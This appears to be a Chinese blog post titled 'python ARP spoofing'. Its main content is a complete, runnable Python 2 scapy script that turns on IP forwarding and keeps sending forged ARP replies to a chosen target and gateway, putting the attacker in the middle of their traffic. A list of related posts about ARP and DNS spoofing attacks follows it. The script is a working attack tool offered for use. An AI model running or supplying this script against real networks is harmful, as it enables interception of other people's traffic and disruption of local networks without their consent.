python的arp欺骗_python arp欺骗
使用python构造一个arp欺骗脚本
import os
import sys
from scapy.all import *
import optparse
def main():
usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"
parser=optparse.OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
parser.add_option('-t',dest='IP',help='You want to attack the IP')
parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')
(options,args)=parser.parse_args()
if options.interface and options.IP and options.gatewayip:
interface=options.interface
IP=options.IP
gatewayip=options.gatewayip
spoof(interface,IP,gatewayip)
else:
parser.print_help()
sys.exit()
def spoof(interface,IP,gatewayip):
benjimac=get_if_hwaddr(interface)
mubiao=getmacbyip(IP)
wanguan=getmacbyip(gatewayip)
ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2) #本地-》网关
pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机
print '[+]Open IP forwarding'
zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #IP转发
try:
while 1:
sendp(ptarget, inter=2, iface=interface) #发包
print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)
sendp(pgateway, inter=2, iface=interface) #发包
print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)
except Exception as f:
print '[-]Error:',f
sys.exit()
if __name__ == '__main__':
main()
测试图:
python的arp欺骗_python arp欺骗相关推荐
- python发送arp报文_python发送arp欺骗攻击代码分析
代码如下: # -*- coding: cp936 -*- from scapy.all import * from threading import Thread,Lock,activeCount ...
- python scapy实现ARP欺骗与DNS欺骗
(仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...
- python arp脚本_Python scapy 实现一个简易 arp 攻击脚本
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常被用到网络攻击和测试中. scapy的安装在Linux非常便利,但在Windows下比较复杂 ...
- python网站攻击脚本_Python scapy 实现一个简易 arp 攻击脚本
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解析和伪造网络数据包,常常被用到网络攻击和测试中. scapy的安装在Linux非常便利,但在Windows下比较复杂 ...
- 网络嗅探与欺骗----函数sniff()、ARP的原理、ARP欺骗、AARP欺骗的中间人攻击
网络嗅探与欺骗 如果想要彻底了解一个网络,那么最好的办法就是对网络中的流量进行嗅探 嗅探工具可以用来窃取网络中明文传输的密码,监视网络中的数据流向,甚至可以收集远程登录所使用的NTLM数据包(这个数据 ...
- ARP-attrack ARP内网毒化/欺骗攻击
文章目录 ARP-ATTACK 原理 ARP 介绍 要素/媒介 工作原理 RARP ARP欺骗 实战分析 环境 断网攻击过程 欺骗攻击过程 毒化欺骗监听图片访问 其他 ARP攻击基础代码实现 如何防治 ...
- ARP协议及ARP欺骗详解
ARP协议及ARP欺骗详解 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议.主机发送信息时将包含目标IP地址的ARP ...
- ARP协议以及攻击欺骗和防御
在网络层中,协议也是分层的,底层协议为上层协议服务,下图表示了网络层各个协议的关系: 这篇文章将详细介绍ARP协议 一.ARP协议 中文名是地址解析协议,使用ARP协议可实现通过IP地址获得对应主机的 ...
- ARP挂马***--嗅探欺骗的最恐怖方式
ARP挂马***--嗅探欺骗的最恐怖方式 局域网内"交换型"网络环境中的嗅探***,利用的是ARP欺骗的原理,它是点对点地发生在3台主机(网关.欺骗主机与被欺骗主机)之间的. 然而 ...
最新文章
- jquery-$()函数的用法及一些常用的选择器
- 大于小于优化_工程优化设计与Matlab实现——优化设计的数学基础
- C#将LINQ数据集转换为Datatable
- 商淘多b2b2c商城系统怎么在个人电脑上安装_企业怎么做好b2b2c商城网站建设?...
- ERROR 2003 (HY000): Can't connect to MySQL server on '192.168.33.10' (111) 解决方法
- delphi 2010 mysql_delphi2010读取MySQL数据库TEXT类型乱码的解决方案
- WinForGIFSicle 1.0.0.1 免费开源版,基于GIFSicle的开源可视化批量GIF压缩工具
- utc时间 单位换算_DataTime.Now.Ticks精确的时间单位[转]
- python绘制网络拓扑图_python 画网络拓扑图
- 主流漫游技术-OKC802.11r介绍
- python中运行代码时没有报错但是也没有输出而且还有exit code 0的结束标志
- 网页怎么算切屏_电脑怎么切屏
- 窗函数法FIR滤波器设计
- 如何独立设置Mac触摸板方向和鼠标滚轮方向?
- 两项基于网络的“黑客”技术
- C练题笔记之:牛客-HJ005. 进制转换
- 一款好用的网络骗子举报系统无加密版本源码
- 复现:Named Entity Recognition with Small Strongly Labeled and Large Weakly Labeled Data
- Vue3 -- PDF展示、添加签名(带笔锋)、导出
- 人人建站:使用KSWEB和nat123建简易网站